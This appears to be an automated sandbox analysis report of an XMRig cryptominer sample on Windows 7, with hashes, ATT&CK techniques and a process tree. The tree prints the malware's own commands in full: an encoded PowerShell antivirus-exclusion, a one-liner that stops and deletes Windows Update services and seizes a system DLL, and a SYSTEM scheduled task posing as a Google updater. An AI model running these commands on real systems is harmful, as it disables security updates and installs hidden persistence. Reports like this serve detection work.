xmrig | a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7

Analysis

max time kernel
151s
max time network
151s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
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10-11-2022 18:59

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General

Target

file.exe
Size

2.5MB
MD5

3db308a4a293420df30a444944f2ccb6
SHA1

4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
SHA256

a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
SHA512

a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
SSDEEP

49152:BIX8orGKWyNi/abKDNtEgSsoi/hiO0WygnaWjIe1BSORYt3m5rj4A19oo/tGIPIP:bBsi/cKRt1SsoipihWyzcbaqYpm5wA10

Score

10^/10

xmrig discovery evasion exploit miner

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/816-148-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-150-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-152-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-153-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-154-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-156-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-158-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-159-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-160-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-162-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-164-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-165-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral1/memory/816-167-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1980 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

884 takeown.exe
1412 icacls.exe
1160 takeown.exe
556 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1540 taskeng.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

1160 takeown.exe
556 icacls.exe
884 takeown.exe
1412 icacls.exe

pid	process
1980	updater.exe

pid	process
884	takeown.exe
1412	icacls.exe
1160	takeown.exe
556	icacls.exe

pid	process
1540	taskeng.exe

pid	process
1160	takeown.exe
556	icacls.exe
884	takeown.exe
1412	icacls.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 1108 set thread context of 816 1108 conhost.exe notepad.exe

description	pid	process	target process
PID 1108 set thread context of 816	1108	conhost.exe	notepad.exe

Drops file in Program Files directory 3 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe
File created	C:\Program Files\Google\Chrome\updater.exe	conhost.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

820 sc.exe
2040 sc.exe
1248 sc.exe
1528 sc.exe
1992 sc.exe
1648 sc.exe
1932 sc.exe
884 sc.exe
556 sc.exe
916 sc.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

916 schtasks.exe

pid	process
820	sc.exe
2040	sc.exe
1248	sc.exe
1528	sc.exe
1992	sc.exe
1648	sc.exe
1932	sc.exe
884	sc.exe
556	sc.exe
916	sc.exe

pid	process
916	schtasks.exe

Modifies data under HKEY_USERS 9 IoCs

Processes:

conhost.exepowershell.exenotepad.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 600020fd3ef5d801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	notepad.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	conhost.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
1736	reg.exe
584	reg.exe
1724	reg.exe
1048	reg.exe
1248	reg.exe
1640	reg.exe
1076	reg.exe
1480	reg.exe
1084	reg.exe
1376	reg.exe
1696	reg.exe
740	reg.exe
940	reg.exe
1976	reg.exe
896	reg.exe
1692	reg.exe
1756	reg.exe
1712	reg.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

Processes:

powershell.execonhost.exepowershell.execonhost.exenotepad.exe

pid	process
1968	powershell.exe
304	conhost.exe
1820	powershell.exe
1108	conhost.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe
816	notepad.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

powershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exenotepad.exe

description	pid	process
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	304	conhost.exe
Token: SeShutdownPrivilege	1688	powercfg.exe
Token: SeShutdownPrivilege	1108	powercfg.exe
Token: SeShutdownPrivilege	1820	powercfg.exe
Token: SeShutdownPrivilege	1192	powercfg.exe
Token: SeTakeOwnershipPrivilege	1160	takeown.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1108	conhost.exe
Token: SeShutdownPrivilege	2004	powercfg.exe
Token: SeShutdownPrivilege	1584	powercfg.exe
Token: SeShutdownPrivilege	1072	powercfg.exe
Token: SeShutdownPrivilege	1288	powercfg.exe
Token: SeTakeOwnershipPrivilege	884	takeown.exe
Token: SeLockMemoryPrivilege	816	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 1492 wrote to memory of 304	1492	file.exe	conhost.exe
PID 1492 wrote to memory of 304	1492	file.exe	conhost.exe
PID 1492 wrote to memory of 304	1492	file.exe	conhost.exe
PID 1492 wrote to memory of 304	1492	file.exe	conhost.exe
PID 304 wrote to memory of 1968	304	conhost.exe	powershell.exe
PID 304 wrote to memory of 1968	304	conhost.exe	powershell.exe
PID 304 wrote to memory of 1968	304	conhost.exe	powershell.exe
PID 304 wrote to memory of 112	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 112	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 112	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 1704	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 1704	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 1704	304	conhost.exe	cmd.exe
PID 112 wrote to memory of 884	112	cmd.exe	sc.exe
PID 112 wrote to memory of 884	112	cmd.exe	sc.exe
PID 112 wrote to memory of 884	112	cmd.exe	sc.exe
PID 1704 wrote to memory of 1688	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1688	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1688	1704	cmd.exe	powercfg.exe
PID 112 wrote to memory of 820	112	cmd.exe	sc.exe
PID 112 wrote to memory of 820	112	cmd.exe	sc.exe
PID 112 wrote to memory of 820	112	cmd.exe	sc.exe
PID 112 wrote to memory of 2040	112	cmd.exe	sc.exe
PID 112 wrote to memory of 2040	112	cmd.exe	sc.exe
PID 112 wrote to memory of 2040	112	cmd.exe	sc.exe
PID 1704 wrote to memory of 1108	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1108	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1108	1704	cmd.exe	powercfg.exe
PID 112 wrote to memory of 1248	112	cmd.exe	sc.exe
PID 112 wrote to memory of 1248	112	cmd.exe	sc.exe
PID 112 wrote to memory of 1248	112	cmd.exe	sc.exe
PID 112 wrote to memory of 1528	112	cmd.exe	sc.exe
PID 112 wrote to memory of 1528	112	cmd.exe	sc.exe
PID 112 wrote to memory of 1528	112	cmd.exe	sc.exe
PID 1704 wrote to memory of 1820	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1820	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1820	1704	cmd.exe	powercfg.exe
PID 112 wrote to memory of 1640	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1640	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1640	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1724	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1724	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1724	112	cmd.exe	reg.exe
PID 1704 wrote to memory of 1192	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1192	1704	cmd.exe	powercfg.exe
PID 1704 wrote to memory of 1192	1704	cmd.exe	powercfg.exe
PID 112 wrote to memory of 1736	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1736	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1736	112	cmd.exe	reg.exe
PID 112 wrote to memory of 740	112	cmd.exe	reg.exe
PID 112 wrote to memory of 740	112	cmd.exe	reg.exe
PID 112 wrote to memory of 740	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1076	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1076	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1076	112	cmd.exe	reg.exe
PID 112 wrote to memory of 1160	112	cmd.exe	takeown.exe
PID 112 wrote to memory of 1160	112	cmd.exe	takeown.exe
PID 112 wrote to memory of 1160	112	cmd.exe	takeown.exe
PID 112 wrote to memory of 556	112	cmd.exe	icacls.exe
PID 112 wrote to memory of 556	112	cmd.exe	icacls.exe
PID 112 wrote to memory of 556	112	cmd.exe	icacls.exe
PID 304 wrote to memory of 1876	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 1876	304	conhost.exe	cmd.exe
PID 304 wrote to memory of 1876	304	conhost.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\file.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:112

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:884

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:820

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:2040

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1248

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1528

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1640

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1724

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:1736

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:740

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1076

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1160

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:556

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:940

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1976

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1480

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:896

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1988

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1668

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1756

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1312

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:820

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:2044

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:2040

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1688

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
3⤵
PID:1876

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
4⤵
- Creates scheduled task(s)
PID:916

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1072

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:1700

C:\Windows\system32\taskeng.exe
taskeng.exe {26108932-A14E-4C30-97A1-8EF1998B8A06} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:1540

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Executes dropped EXE
PID:1980

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1156

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:1992

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1648

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:916

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:1932

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:556

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:1084

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:584

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies registry key
PID:1692

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:1376

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:1756

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:884

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1412

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1048

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1248

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1696

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1712

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:1560

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:268

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:1644

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:1196

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:1752

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:468

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:1188

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:436

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2004

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1072

